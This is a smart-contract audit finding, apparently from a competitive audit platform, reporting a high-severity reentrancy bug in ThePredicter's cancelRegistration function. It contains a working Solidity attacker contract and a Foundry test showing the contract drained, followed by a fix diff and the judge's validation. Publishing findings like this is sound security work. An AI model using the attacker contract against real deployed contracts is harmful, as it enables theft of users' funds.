Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability In *cancelRegistration* Function

Relevant GitHub Link

https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L64

Summary

The cancelRegistration function uses the call function before updating the caller's status. This allows a malicious contract to re-enter the cancelRegistration and withdraw ETH multiple times.

Impact

The attacker can be able to steal all the ETH inside the ThePredicter contract.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ThePredicter.sol";
contract Malicious {
ThePredicter public target;
constructor(ThePredicter _target) {
target = _target;
}
fallback() external payable {
if (address(target).balance >= 0.04 ether) {
target.cancelRegistration();
}
}
}
function test_Reentrancy() public {
vm.startPrank(address(maliciousContract));
vm.deal(address(maliciousContract), 1 ether);
vm.deal(address(thePredicter), 10 ether);
thePredicter.register{value:0.04 ether}();
// 10040000000000000000
console.log("Balance of thePredicter before:" ,address(thePredicter).balance );
// 960000000000000000
console.log("Balance of maliciousContract before:" ,address(maliciousContract).balance );
thePredicter.cancelRegistration();
// 0
console.log("Balance of thePredicter after:" ,address(thePredicter).balance );
// 11000000000000000000
console.log("Balance of maliciousContract after:" ,address(maliciousContract).balance );
vm.stopPrank();
}

Tools Used

Manual reading, Foundry

Recommendations

Change the players status before using the call function.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success, ) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
+ (bool success, ) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.